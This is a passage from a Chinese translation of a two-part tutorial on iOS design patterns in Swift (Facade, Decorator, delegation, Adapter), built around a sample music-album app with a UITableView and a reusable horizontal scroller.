artist: \"David Bowie\",\n                     genre: \"Pop\",\n                     coverUrl: \"https://s3.amazonaws.com/CoverProject/album/album_david_bowie_best_of_bowie.png\",\n                     year: \"1992\")\n\n  let album2 = Album(title: \"It's My Life\",\n                     artist: \"No Doubt\",\n                     genre: \"Pop\",\n                     coverUrl: \"https://s3.amazonaws.com/CoverProject/album/album_no_doubt_its_my_life_bathwater.png\",\n                     year: \"2003\")\n\n  let album3 = Album(title: \"Nothing Like The Sun\",\n                     artist: \"Sting\",\n                     genre: \"Pop\",\n                     coverUrl: \"https://s3.amazonaws.com/CoverProject/album/album_sting_nothing_like_the_sun.png\",\n                     year: \"1999\")\n\n  let album4 = Album(title: \"Staring at the Sun\",\n                     artist: \"U2\",\n                     genre: \"Pop\",\n                     coverUrl: \"https://s3.amazonaws.com/CoverProject/album/album_u2_staring_at_the_sun.png\",\n                     year: \"2000\")\n\n  let album5 = Album(title: \"American Pie\",\n                     artist: \"Madonna\",\n                     genre: \"Pop\",\n                     coverUrl: \"https://s3.amazonaws.com/CoverProject/album/album_madonna_american_pie.png\",\n                     year: \"2000\")\n\n  albums = [album1, album2, album3, album4, album5]\n}\n```\n\n在初始化程序中，你将使用五个示例专辑填充数组。如果上述专辑不符合你的喜好，可以随便使用你喜欢的音乐替换它们。\n\n现在将以下函数添加到类中：\n\n```swift\nfunc getAlbums() -> [Album] {\n  return albums\n}\n\nfunc addAlbum(_ album: Album, at index: Int) {\n  if albums.count >= index {\n    albums.insert(album, at: index)\n  } else {\n    albums.append(album)\n  }\n}\n\nfunc deleteAlbum(at index: Int) {\n  albums.remove(at: index)\n}\n```\n\n这些方法允许你获取，添加和删除专辑。\n\n编译你的项目，确保所有内容能正确地通过编译。\n\n此时，你可能想知道 `PersistencyManager` 类的位置，因为它不是单例。你将在下一节中看到 `LibraryAPI` 和 `PersistencyManager` 之间的关系，你将在其中查看 **外观（Facade）** 设计模式。\n\n## 外观模式\n\n[![](https://koenig-media.raywenderlich.com/uploads/2017/07/swift-sunglasses-1-320x320.png)](https://koenig-media.raywenderlich.com/uploads/2017/07/swift-sunglasses-1.png)\n\n外观设计模式为复杂子系统提供了单一界面。你只需公开一个简单的统一 API，而不是将用户暴露给一组类及其 API。\n\n下图说明了这个概念：\n\n[![facade2](https://koenig-media.raywenderlich.com/uploads/2013/07/facade2-480x241.png)](https://koenig-media.raywenderlich.com/uploads/2013/07/facade2.png)\n\nAPI 的用户完全不知道它其中的复杂性。这种模式在大量使用比较复杂或难理解的类时是比较理想的。\n\n外观模式将使用系统接口的代码与你隐藏的类的实现进行解耦，它还减少了外部代码对子系统内部工作的依赖性。 如果外观下的类可能会更改，那这仍然很有用，因为外观类可以在幕后发生更改时保留相同的 API。\n\n举个例子，如果你想要替换后端服务，那么你不必更改使用 API 的代码，只需更改外观类中的代码即可。\n\n## 如何使用外观模式\n\n目前，你拥有 `PersistencyManager` 在本地保存专辑数据，并使用 `HTTPClient` 来处理远程通信。项目中的其他类不应该涉及这个逻辑，因为它们将隐藏在 `LibraryAPI` 的外观后面。\n\n要实现此模式，只有 `LibraryAPI` 应该包含 `PersistencyManager` 和 `HTTPClient` 的实例。其次，`LibraryAPI` 将公开一个简单的 API 来访问这些服务。\n\n设计如下所示：\n\n[![facade3](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-facade-1-480x87.png)](https://koenig-media.raywenderlich.com/uploads/2017/05/design-patterns-part1-facade-1-480x87.png)\n\n`LibraryAPI` 将暴露给其他代码，但会隐藏应用程序其余部分的 `HTTPClient` 和 `PersistencyManager` 复杂性。\n\n打开 *LibraryAPI.swift* 并将以下常量属性添加到类中：\n\n```swift\nprivate let persistencyManager = PersistencyManager()\nprivate let httpClient = HTTPClient()\nprivate let isOnline = false\n```\n\n`isOnline` 决定了是否应使用对专辑列表所做的任何更改来更新服务器，例如添加或删除专辑。实际上 HTTP 客户端并不是与真实服务器工作，仅用于演示外观模式的用法，因此 `isOnline` 将始终为 `false`。\n\n接下来，将以下三个方法添加到 *LibraryAPI.swift*：\n\n```swift\nfunc getAlbums() -> [Album] {\n  return persistencyManager.getAlbums()\n}\n\nfunc addAlbum(_ album: Album, at index: Int) {\n  persistencyManager.addAlbum(album, at: index)\n  if isOnline {\n    httpClient.postRequest(\"/api/addAlbum\", body: album.description)\n  }\n}\n\nfunc deleteAlbum(at index: Int) {\n  persistencyManager.deleteAlbum(at: index)\n  if isOnline {\n    httpClient.postRequest(\"/api/deleteAlbum\", body: \"\\(index)\")\n  }\n}\n```\n\n我们来看看 `addAlbum(_:at:)`。该类首先在本地更新数据，然后如果网络有连接，则更新远程服务器。这是外观模式的核心优势，当你要编写 `Album` 之外的某个类添加一个新专辑时，它不知道，也不需要知道类背后的复杂性。\n\n> **注意**：在为子系统中的类设计外观时，请记住，除非你正在构建单独的模块并使用访问控制，否则不会阻止客户端直接访问这些“隐藏”的类。不要吝啬访问控制的代码，也不要假设所有客户端都必须使用那些与外观使用它们方法相同的类。\n\n编译并运行你的应用程序。你将看到两个空视图和一个工具栏。顶部的 View 将用于显示你的专辑封面，底部 View 将用于显示与该专辑相关的信息列表。\n\n![Album app in starting state with no data displayed](https://koenig-media.raywenderlich.com/uploads/2017/07/startingapp-180x320.png)\n\n你需要一些东西能在屏幕上显示专辑的数据，这是你下一个设计模式的完美实践：**装饰（Decorator）**。\n\n## 装饰模式\n\n装饰模式动态地向对象添加行为和职责而无需修改其中代码。它是子类化的替代方法，通过用另一个对象包装它来修改类的行为。\n\n在 Swift 中，这种模式有两种非常常见的实现：**扩展**和**代理**。\n\n### 拓展\n\n添加扩展是一种非常强大的机制，允许你向现有类，结构体或枚举类型添加新功能，而无需子类化。你可以扩展你无法访问的代码并增强他们的功能也非常棒。这意味着你可以将自己的方法添加到 Cocoa 类，如 `UIView` 和 `UIImage`。\n\nSwift 扩展与装饰模式的经典定义略有不同，因为扩展不包含它扩展的类的实例。\n\n### 如何使用拓展\n\n想象一下，你希望在 TableView 中显示 `Album` 实例的情况：\n\n[![swiftDesignPattern3](https://koenig-media.raywenderlich.com/uploads/2014/11/swiftDesignPattern3-480x262.png)](https://koenig-media.raywenderlich.com/uploads/2014/11/swiftDesignPattern3.png)\n\n专辑的标题来自哪里？`Album` 是一个模型，因此它不关心你将如何呈现数据。你需要一些外部代码才能将此功能添加到 `Album` 结构体中。\n\n你将创建 `Album` 结构体的扩展，它将定义一个返回可以在 `UITableView` 中容易使用的数据结构的新方法。\n\n打开 **Album.swift** 并在文件末尾添加以下代码：\n\n```swift\ntypealias AlbumData = (title: String, value: String)\n```\n\n此类型定义了一个元组，其中包含表视图显示一行数据所需的所有信息。现在添加以下扩展名以访问此信息：\n\n```swift\nextension Album {\n  var tableRepresentation: [AlbumData] {\n    return [\n      (\"Artist\", artist),\n      (\"Album\", title),\n      (\"Genre\", genre),\n      (\"Year\", year)\n    ]\n  }\n}\n```\n\n`AlbumData` 数组将更容易在 TableView 中显示。\n\n> **注意**：类完全可以覆盖父类的方法，但是对于扩展则不能。扩展中的方法或属性不能与原始类中的方法或属性同名。\n\n考虑一下这个模式有多强大：\n\n*   你可以直接在 `Album` 中使用属性。\n*   你已添加到 `Album` 结构体并且不用修改它。\n*   此次简单的操作将允许你返回一个类似 `UITableView` 的 `Album`。\n\n### 代理\n\n装饰设计模式的另一个实现是代理，它是一种让一个对象代表或协同另外一个对象工作的机制。`UITableView` 很贪婪，它有两个代理类型属性，一个叫做数据源，另一个叫代理。它们做的事情略有不同，例如 TableView 将询问其数据源在特定部分中应该有多少行，但它会询问其代理在行被点击时要执行的操作。\n\n你不能指望 `UITableView` 知道你希望在每个 section 中有多少行，因为这是特定于应用程序的。因此，计算每个 section 中的行数的任务会被传递到数据源。这允许 `UITableView` 的类独立于它显示的数据。\n\n以下是你创建新 `UITableView` 时所发生的事情的伪解释：\n\n**Table**：我在这儿！我想做的就是显示 cell。嘿，我有几个 section 呢？\n**Data source**：一个！\n**Table**：好的，好的，很简单！第一个 section 中有多少个 cell 呢？\n**Data source**：四个！\n**Table**：谢谢！现在，请耐心点，这可能会有点重复。我可以在第 0 个 section 第 0 行获得 cell 吗？\n**Data source**：可以，去吧！\n**Table**：现在第 0 个 section，第 1 行呢？\n\n未完待续...\n\n`UITableView` 对象完成显示表视图的工作。但是最终它需要一些它没有的信息。然后它转向其代理和数据源，并发送一条消息，要求提供其他信息。\n\n将一个对象子类化并重写必要的方法似乎更容易，但考虑一下你只能基于单个类进行子类化。如果你希望一个对象成为两个或更多其他对象的代理，你就无法通过子类化实现此目的。\n\n> **注意**：这是一个重要的模式。Apple 在大多数 UIKit 类中使用这种方法： `UITableView`， `UITextView`， `UITextField`， `UIWebView`， `UICollectionView`， `UIPickerView`， `UIGestureRecognizer`， `UIScrollView`。 这个清单还将不断更新。\n\n### 如何使用代理模式\n\n打开 **ViewController.swift** 并把这些私有的属性添加到类：\n\n```swift\nprivate var currentAlbumIndex = 0\nprivate var currentAlbumData: [AlbumData]?\nprivate var allAlbums = [Album]()\n```\n\n从 Swift 4 开始，标记为 `private` 的变量可以在类型和所述类型的任何扩展之间共享相同的访问控制范围。如果你想浏览 Swift 4 引入的新功能，请查看 [What’s New in Swift 4](https://www.raywenderlich.com/163857/whats-new-swift-4)。\n\n你将使 `ViewController` 成为 TableView 的数据源。在类定义的右大括号之后，将此扩展添加到 *ViewController.swift* 的末尾：\n\n```swift\nextension ViewController: UITableViewDataSource {\n\n}\n```\n\n编译器会发出警告，因为 `UITableViewDataSource` 有一些必需的函数。在扩展中添加以下代码让警告消失：\n\n```swift\nfunc tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n  guard let albumData = currentAlbumData else {\n    return 0\n  }\n  return albumData.count\n}\n\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n  let cell = tableView.dequeueReusableCell(withIdentifier: \"Cell\", for: indexPath)\n  if let albumData = currentAlbumData {\n    let row = indexPath.row\n    cell.textLabel?.text = albumData[row].title\n    cell.detailTextLabel?.text = albumData[row].value\n  }\n  return cell\n}\n```\n\n`tableView(_:numberOfRowsInSection:)` 返回要在 tableView 中显示的行数，该行数与专辑“装饰”表示中的项目数相匹配。\n\n`tableView(_:cellForRowAtIndexPath:)` 创建并返回一个带有 title 和 value 的 cell。\n\n> **注意**：你实际上可以将方法添加到主类声明或扩展中，编译器并不关心数据源方法实际上存在于 `UITableViewDataSource` 扩展中。对于阅读代码的人来说，这种组织确实有助于提高可读性。\n\n接下来，使用以下代码替换 `viewDidLoad()`：\n\n```swift\noverride func viewDidLoad() {\n  super.viewDidLoad()\n\n  //1\n  allAlbums = LibraryAPI.shared.getAlbums()\n\n  //2\n  tableView.dataSource = self\n}\n```\n\n以下是上述代码的解析：\n\n1. 通过 API 获取所有专辑的列表。请记住，我们的计划是直接使用 `LibraryAPI` 的外观而不是直接用 `PersistencyManager`！\n2. 这是你设置 `UITableView` 的地方。你声明 ViewController 是 `UITableView` 数据源，因此，`UITableView` 所需的所有信息都将由 ViewController 提供。请注意，如果在 storyboard 中创建了 TableView，你实际上可以在那里设置代理和数据源。\n\n现在，将以下方法添加到 ViewController 里：\n\n```swift\nprivate func showDataForAlbum(at index: Int) {\n\n  // defensive code: make sure the requested index is lower than the amount of albums\n  if index < allAlbums.count && index > -1 {\n    // fetch the album\n    let album = allAlbums[index]\n    // save the albums data to present it later in the tableview\n    currentAlbumData = album.tableRepresentation\n  } else {\n    currentAlbumData = nil\n  }\n  // we have the data we need, let's refresh our tableview\n  tableView.reloadData()\n}\n```\n\n`showDataForAlbum(at:)` 从专辑数组中获取所需的专辑数据。当你想要刷新数据时，你只需要在 `UITableView` 里调用 `reloadData`。这会导致 TableView 再次调用其数据源方法，例如重新加载 TableView 中应显示的 section 个数，每个 section 中的行数以及每个 cell 的外观等等。\n\n将以下行添加到 `viewDidLoad()` 的末尾：\n\n```swift\nshowDataForAlbum(at: currentAlbumIndex)\n```\n\n这会在应用启动时加载当前专辑。由于 `currentAlbumIndex` 设置为 `0`，因此显示该集合中的第一张专辑。\n\n编译并运行你的项目，你的应用启动后屏幕上应该会显示如下图：\n\n![Album app showing populated table view](https://koenig-media.raywenderlich.com/uploads/2017/07/appwithtableviewpopulated-180x320.png)\n\nTableView 设置数据源完成！\n\n## 写在最后\n\n为了不使用硬编码值（例如字符串 `Cell`）污染代码，请查看 `ViewController`，并在类定义的左大括号之后添加以下内容：\n\n```swift\nprivate enum Constants {\n  static let CellIdentifier = \"Cell\"\n}\n```\n\n在这里，你将创建一个枚举充当常量的容器。\n\n> **注意**：使用不带 case 的枚举的优点是它不会被意外地实例化并只作为一个纯命名空间。\n\n现在只需用 `Constants.CellIdentifier` 替换 `\"Cell\"`。\n\n## 接下来该干嘛？\n\n到目前为止，事情看起来进展很顺利！你知道了 MVC 模式，还有单例，外观和装饰模式。你可以看到 Apple 在 Cocoa 中如何使用它们以及如何将模式应用于你自己的代码。\n\n如果你想要查看或比较，那请看 [最终项目](https://koenig-media.raywenderlich.com/uploads/2017/07/RWBlueLibrary-Part1-Final.zip)。\n\n库存里还有很多：[本教程的第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-2-2.md)还有适配器，观察者和备忘录模式。如果这还不够，我们会有一个后续教程，在你重构一个简单的 iOS 游戏时会涉及更多的设计模式。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/design-patterns-on-ios-using-swift-part-2-2.md",
    "content": "> * 原文地址：[Design Patterns on iOS using Swift – Part 2/2](https://www.raywenderlich.com/476-design-patterns-on-ios-using-swift-part-2-2)\n> * 原文作者：[Lorenzo Boaro](https://www.raywenderlich.com/u/lorenzoboaro)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-2-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-on-ios-using-swift-part-2-2.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[swants](https://github.com/swants)\n\n# 使用 Swift 的 iOS 设计模式（第二部分）\n\n在这个由两部分组成的教程中，你将了解构建 iOS 应用程序的常见设计模式，以及如何在自己的应用程序中应用这些模式。\n\n> **更新说明**：本教程已由译者针对 iOS 12，Xcode 10 和 Swift 4.2 进行了更新。原帖由教程团队成员 Eli Ganem 发布。\n\n欢迎回到 iOS 设计模式的入门教程第二部分！在 [第一部分](https://juejin.im/post/5c05d4ee5188250ab14e62d6) 中，你已经了解了 Cocoa 中的一些基本模式，比如 MVC、单例和装饰模式。\n\n在最后一部分中，你将了解 iOS 和 OS X 开发中出现的其他基本设计模式：适配器、观察者和备忘录。让我们现在就开始吧！\n\n## 入门\n\n你可以下载 [第一部分最结尾处的项目](https://koenig-media.raywenderlich.com/uploads/2017/07/RWBlueLibrary-Part1-Final.zip) 来开始。\n\n这是你在第一部分结尾处留下的音乐库应用程序：\n\n![Album app showing populated table view](https://koenig-media.raywenderlich.com/uploads/2017/07/appwithtableviewpopulated-180x320.png)\n\n该应用程序的原计划包括了屏幕顶部用来在专辑之间切换的 scrollView。但是与其编写一个只有单个用途的 scrollView，为何不让它变得可以给其他任何 view 复用呢？\n\n要使此 scrollView 可复用，跟其内容有关的所有决策都应留给其他两个对象：它的数据源和代理。为了使用 scrollView，应该给它声明数据源和代理实现的方法，这就类似于 `UITableView` 的代理方法工作方式。当我们接下来一边讨论下一个设计模式时，你也将一边着手实现它。\n\n## 适配器模式\n\n适配器允许和具有不兼容接口的类一起工作，它将自身包裹在一个对象内，并公开一个标准接口来与该对象进行交互。\n\n如果你熟悉适配器模式，那么你会注意到 Apple 以一种稍微不同的方式实现它，那就是协议。你可能熟悉 `UITableViewDelegate`，`UIScrollViewDelegate`，`NSCoding` 和 `NSCopying` 等协议。例如使用 `NSCopying` 协议，任何类都可以提供一个标准的 `copy` 方法。\n\n## 如何使用适配器模式\n\n之前提到的 scrollView 如下图所示：\n\n[![swiftDesignPattern7](https://koenig-media.raywenderlich.com/uploads/2014/11/swiftDesignPattern7-480x153.png)](https://koenig-media.raywenderlich.com/uploads/2014/11/swiftDesignPattern7.png)\n\n我们现在来实现它吧，右击项目导航栏中的 View 组，选择 **New File > iOS > Cocoa Touch Class**，然后单击 **Next**，将类名设置为 `HorizontalScrollerView` 并继承自 `UIView`。\n\n打开 **HorizontalScrollerView.swift** 并在 `HorizontalScroller` 类声明的 **上方** 插入以下代码：\n\n```swift\nprotocol HorizontalScrollerViewDataSource: class {\n  // 询问数据源它想要在 scrollView 中显示多少个 view\n  func numberOfViews(in horizontalScrollerView: HorizontalScrollerView) -> Int\n  // 请求数据源返回应该出现在第 index 个的 view\n  func horizontalScrollerView(_ horizontalScrollerView: HorizontalScrollerView, viewAt index: Int) -> UIView\n}\n```\n\n这定义了一个名为 `HorizontalScrollerViewDataSource` 的协议，它执行两个操作：请求在 scrollView 内显示 view 的个数以及应为特定索引显示的 view。\n\n在此协议定义的下方再添加另一个名为 `HorizontalScrollerViewDelegate` 的协议。\n\n```swift\nprotocol HorizontalScrollerViewDelegate: class {\n  // 通知代理第 index 个 view 已经被选择\n  func horizontalScrollerView(_ horizontalScrollerView: HorizontalScrollerView, didSelectViewAt index: Int)\n}\n```\n\n这将使 scrollView 通知某个其他对象它内部的一个 view 已经被选中。\n\n**注意：**将关注区域划分为不同的协议会使代码看起来更加清晰。通过这种方式你可以决定遵循特定的协议，并避免使用 `@objc` 来声明可选的协议方法。\n\n在 **HorizontalScrollerView.swift** 中，将以下代码添加到 `HorizontalScrollerView` 类的定义里：\n\n```swift\nweak var dataSource: HorizontalScrollerViewDataSource?\nweak var delegate: HorizontalScrollerViewDelegate?\n```\n\n代理和数据源都是可选项，因此你不一定要给他们赋值，但你在此处设置的任何对象都必须遵循相应的协议。\n\n在类里继续添加以下代码：\n\n```swift\n// 1\nprivate enum ViewConstants {\n  static let Padding: CGFloat = 10\n  static let Dimensions: CGFloat = 100\n  static let Offset: CGFloat = 100\n}\n\n// 2\nprivate let scroller = UIScrollView()\n\n// 3\nprivate var contentViews = [UIView]()\n```\n\n每条注释的详解如下：\n\n1. 定义一个私有的 `enum` 来使代码布局在设计时更易修改。scrollView 的内的 view 尺寸为 100 x 100，padding 为 10\n2. 创建包含多个 view 的 scrollView\n3. 创建一个包含所有专辑封面的数组\n\n接下来你需要实现初始化器。添加以下方法：\n\n```swift\noverride init(frame: CGRect) {\n  super.init(frame: frame)\n  initializeScrollView()\n}\n\nrequired init?(coder aDecoder: NSCoder) {\n  super.init(coder: aDecoder)\n  initializeScrollView()\n}\n\nfunc initializeScrollView() {\n  // 1\n  addSubview(scroller)\n\n  // 2\n  scroller.translatesAutoresizingMaskIntoConstraints = false\n\n  // 3\n  NSLayoutConstraint.activate([\n    scroller.leadingAnchor.constraint(equalTo: self.leadingAnchor),\n    scroller.trailingAnchor.constraint(equalTo: self.trailingAnchor),\n    scroller.topAnchor.constraint(equalTo: self.topAnchor),\n    scroller.bottomAnchor.constraint(equalTo: self.bottomAnchor)\n  ])\n\n  // 4\n  let tapRecognizer = UITapGestureRecognizer(target: self, action: #selector(scrollerTapped(gesture:)))\n  scroller.addGestureRecognizer(tapRecognizer)\n}\n```\n\n这项工作是在 `initializeScrollView()` 中完成的。以下是详细分析：\n\n1. 添加子视图 `UIScrollView` 实例\n2. 关闭 autoresizingMask，这样你就可以使用自定义约束了\n3. 将约束应用于 scrollView，你希望 scrollView 完全填充 `HorizontalScrollerView`\n4. 创建 tap 手势。它会检测 scrollView 上的触摸事件并检查是否已经点击了专辑封面。如果是，它将通知 `HorizontalScrollerView` 的代理。在这里会有一个编译错误，因为 scrollerTapped(gesture:) 方法尚未实现，你接下来就要实现它了。\n\n现在添加下面的方法：\n\n```swift\nfunc scrollToView(at index: Int, animated: Bool = true) {\n  let centralView = contentViews[index]\n  let targetCenter = centralView.center\n  let targetOffsetX = targetCenter.x - (scroller.bounds.width / 2)\n  scroller.setContentOffset(CGPoint(x: targetOffsetX, y: 0), animated: animated)\n}\n```\n\n此方法检索特定索引的 view 并使其居中。它将由以下方法调用（你也需要将此方法添加到类中）：\n\n```swift\n@objc func scrollerTapped(gesture: UITapGestureRecognizer) {\n  let location = gesture.location(in: scroller)\n  guard\n    let index = contentViews.index(where: { $0.frame.contains(location)})\n    else { return }\n\n  delegate?.horizontalScrollerView(self, didSelectViewAt: index)\n  scrollToView(at: index)\n}\n```\n\n此方法在 scrollView 中寻找点击的位置，如果存在的话它会查找包含该位置的第一个 contentView 的索引。\n\n如果点击了 contentView，则通知代理并将此 view 滚动到中心位置。\n\n接下来添加以下内容以从滚动器访问专辑封面：\n\n```swift\nfunc view(at index :Int) -> UIView {\n  return contentViews[index]\n}\n```\n\n`view(at:)` 只返回特定索引处的 view，稍后你将使用此方法突出显示你已点击的专辑封面。\n\n现在添加以下代码来刷新 scrollView：\n\n```swift\nfunc reload() {\n  // 1. 检查是否有数据源，如果没有则返回。\n  guard let dataSource = dataSource else {\n    return\n  }\n\n  // 2. 删除所有旧的 contentView\n  contentViews.forEach { $0.removeFromSuperview() }\n\n  // 3. xValue 是 scrollView 内每个 view 的起点 x 坐标\n  var xValue = ViewConstants.Offset\n  // 4. 获取并添加新的 View\n  contentViews = (0..<dataSource.numberOfViews(in: self)).map {\n    index in\n    // 5. 在正确的位置添加 View\n    xValue += ViewConstants.Padding\n    let view = dataSource.horizontalScrollerView(self, viewAt: index)\n    view.frame = CGRect(x: xValue, y: ViewConstants.Padding, width: ViewConstants.Dimensions, height: ViewConstants.Dimensions)\n    scroller.addSubview(view)\n    xValue += ViewConstants.Dimensions + ViewConstants.Padding\n    return view\n  }\n  // 6\n  scroller.contentSize = CGSize(width: xValue + ViewConstants.Offset, height: frame.size.height)\n}\n```\n\n`UITableView` 中的 `reload` 方法会在 `reloadData` 之后建模，它将重新加载用于构造 scrollView 的所有数据。\n\n每条注释对应的详解如下：\n\n1. 在执行任何 reload 之前检查数据源是否存在。\n2. 由于你要清除专辑封面，因此你还需要移除所有存在的 view。\n3. 所有 view 都从给定的偏移量开始定位。目前它是 100，但可以通过更改文件顶部的常量 `ViewConstants.Offset` 来轻松地做出调整。\n4. 向数据源请求 view 的个数，然后使用它来创建新的 contentView 数组。\n5. `HorizontalScrollerView` 一次向一个 view 请求其数据源，并使用先前定义的填充将它们水平依次布局。\n6. 所有 view 布局好之后，设置 scrollView 的偏移量来允许用户滚动浏览所有专辑封面。\n\n当你的数据发生改变时调用 `reload` 方法。\n\n`HorizontalScrollerView` 需要实现的最后一个功能是确保你正在查看的专辑始终位于 scrollView 的中心。为此，当用户用手指拖动 scrollView 时，你需要执行一些计算。\n\n下面添加以下方法：\n\n```swift\nprivate func centerCurrentView() {\n  let centerRect = CGRect(\n    origin: CGPoint(x: scroller.bounds.midX - ViewConstants.Padding, y: 0),\n    size: CGSize(width: ViewConstants.Padding, height: bounds.height)\n  )\n\n  guard let selectedIndex = contentViews.index(where: { $0.frame.intersects(centerRect) })\n    else { return }\n  let centralView = contentViews[selectedIndex]\n  let targetCenter = centralView.center\n  let targetOffsetX = targetCenter.x - (scroller.bounds.width / 2)\n\n  scroller.setContentOffset(CGPoint(x: targetOffsetX, y: 0), animated: true)\n  delegate?.horizontalScrollerView(self, didSelectViewAt: selectedIndex)\n}\n```\n\n上面的代码考虑了 scrollView 的当前偏移量以及 view 的尺寸和填充以便计算当前view 与中心的距离。最后一行很重要：一旦 view 居中，就通知代理所选的 view 已变更。\n\n要检测用户是否在 scrollView 内完成了拖动，你需要实现一些 `UIScrollViewDelegate` 的方法，将以下类扩展添加到文件的底部。记住一定要在主类声明的花括号 **下面** 添加！\n\n```swift\nextension HorizontalScrollerView: UIScrollViewDelegate {\n  func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {\n    if !decelerate {\n      centerCurrentView()\n    }\n  }\n\n  func scrollViewDidEndDecelerating(_ scrollView: UIScrollView) {\n    centerCurrentView()\n  }\n}\n```\n\n`scrollViewDidEndDragging(_:willDecelerate:)` 在用户完成拖拽时通知代理，如果 scrollView 尚未完全停止，则 `decelerate` 为 true。当滚动结束时，系统调用`scrollViewDidEndDecelerating(_:)`。在这两种情况下，你都应该调用新方法使当前视图居中，因为当用户拖动滚动视图后当前视图可能已更改。\n\n最后不要忘记设置代理，将以下代码添加到 `initializeScrollView()` 的最开头：\n\n```swift\nscroller.delegate = self\n```\n\n你的 `HorizontalScrollerView` 已准备就绪！看一下你刚刚编写的代码，你会看到没有任何地方有出现 `Album` 或 `AlbumView` 类。这非常棒，因为这意味着新的 scrollView 真正实现了解耦并且可复用。\n\n编译项目确保可以正常通过编译。\n\n现在 `HorizontalScrollerView` 已经完成，是时候在你的应用程序中使用它了。首先打开 **Main.storyboard**。单击顶部的灰色矩形视图，然后单击 **Identity Inspector**。将类名更改为 `HorizontalScrollerView`，如下图所示：\n\n[![](https://koenig-media.raywenderlich.com/uploads/2017/06/design-patterns-part2-scroller-480x270.png)](https://koenig-media.raywenderlich.com/uploads/2017/06/design-patterns-part2-scroller.png)\n\n接下来打开 **Assistant Editor** 并从灰色矩形 view 拖线到 **ViewController.swift** 来创建一个 IBOutlet，并命名为 **horizontalScrollerView**，如下图所示：\n\n[![](https://koenig-media.raywenderlich.com/uploads/2017/06/design-patterns-part2-scroller-outlet-480x270.png)](https://koenig-media.raywenderlich.com/uploads/2017/06/design-patterns-part2-scroller-outlet.png)\n\n接下来打开 **ViewController.swift**，是时候开始实现一些 `HorizontalScrollerViewDelegate` 方法了！\n\n把下面的拓展添加到该文件的最底部：\n\n```swift\nextension ViewController: HorizontalScrollerViewDelegate {\n  func horizontalScrollerView(** horizontalScrollerView: HorizontalScrollerView, didSelectViewAt index: Int) {\n    // 1\n    let previousAlbumView = horizontalScrollerView.view(at: currentAlbumIndex) as! AlbumView\n    previousAlbumView.highlightAlbum(false)\n    // 2\n    currentAlbumIndex = index\n    // 3\n    let albumView = horizontalScrollerView.view(at: currentAlbumIndex) as! AlbumView\n    albumView.highlightAlbum(true)\n    // 4\n    showDataForAlbum(at: index)\n  }\n}\n```\n\n这是在调用此代理方法时发生的事情：\n\n1. 首先你取到之前选择的专辑，然后取消选择专辑封面\n2. 存储刚刚点击的当前专辑封面的索引\n3. 取得当前所选的专辑封面并显示高亮状态\n4. 在 tableView 中显示新专辑的数据\n\n接下来，是时候实现 `HorizontalScrollerViewDataSource` 了。在当前文件末尾添加以下代码：\n\n```swift\nextension ViewController: HorizontalScrollerViewDataSource {\n  func numberOfViews(in horizontalScrollerView: HorizontalScrollerView) -> Int {\n    return allAlbums.count\n  }\n\n  func horizontalScrollerView(_ horizontalScrollerView: HorizontalScrollerView, viewAt index: Int) -> UIView {\n    let album = allAlbums[index]\n    let albumView = AlbumView(frame: CGRect(x: 0, y: 0, width: 100, height: 100), coverUrl: album.coverUrl)\n    if currentAlbumIndex == index {\n      albumView.highlightAlbum(true)\n    } else {\n      albumView.highlightAlbum(false)\n    }\n    return albumView\n  }\n}\n```\n\n正如你所看到的，`numberOfViews(in:)` 是返回 scrollView 中 view 的个数的协议方法。由于 scrollView 将显示所有专辑数据的封面，因此 count 就是专辑记录的数量。在 `horizontalScrollerView(_:viewAt:)` 里你创建一个新的 `AlbumView`，如果它是所选的专辑，则高亮显示它，再将它传递给 `HorizontalScrollerView`。\n\n基本完成了！只用三个简短的方法就能显示出一个漂亮的 scrollView。你现在需要设置数据源和代理。在 `viewDidLoad` 中的 `showDataForAlbum(at:)` 之前添加以下代码：\n\n```swift\nhorizontalScrollerView.dataSource = self\nhorizontalScrollerView.delegate = self\nhorizontalScrollerView.reload()\n```\n\n编译并运行你的项目，就可以看到漂亮的水平滚动视图：\n\n![Album cover scroller ](https://koenig-media.raywenderlich.com/uploads/2017/07/ScrollerNoImages-180x320.png)\n\n呃，等一下！水平滚动视图已就位，但专辑的封面在哪里呢？\n\n噢，对了，你还没有实现下载封面的代码。为此，你需要添加下载图像的方法，而且你对服务器的全部访问请求都要通过一个所有新方法必经的一层 `LibraryAPI`。但是，首先要考虑以下几点：\n\n1. `AlbumView` 不应直接与 `LibraryAPI` 产生联系，你不会希望将 view 里的逻辑与网络请求混合在一起的。\n2. 出于同样的原因，`LibraryAPI` 也不应该知道 `AlbumView` 的存在。\n3. 当封面被下载完成，`LibraryAPI` 需要通知 `AlbumView` 来显示专辑。\n\n是不是感觉听起来好像很难的样子？不要绝望，你将学习如何使用 **观察者** 模式来做到这点！\n\n## 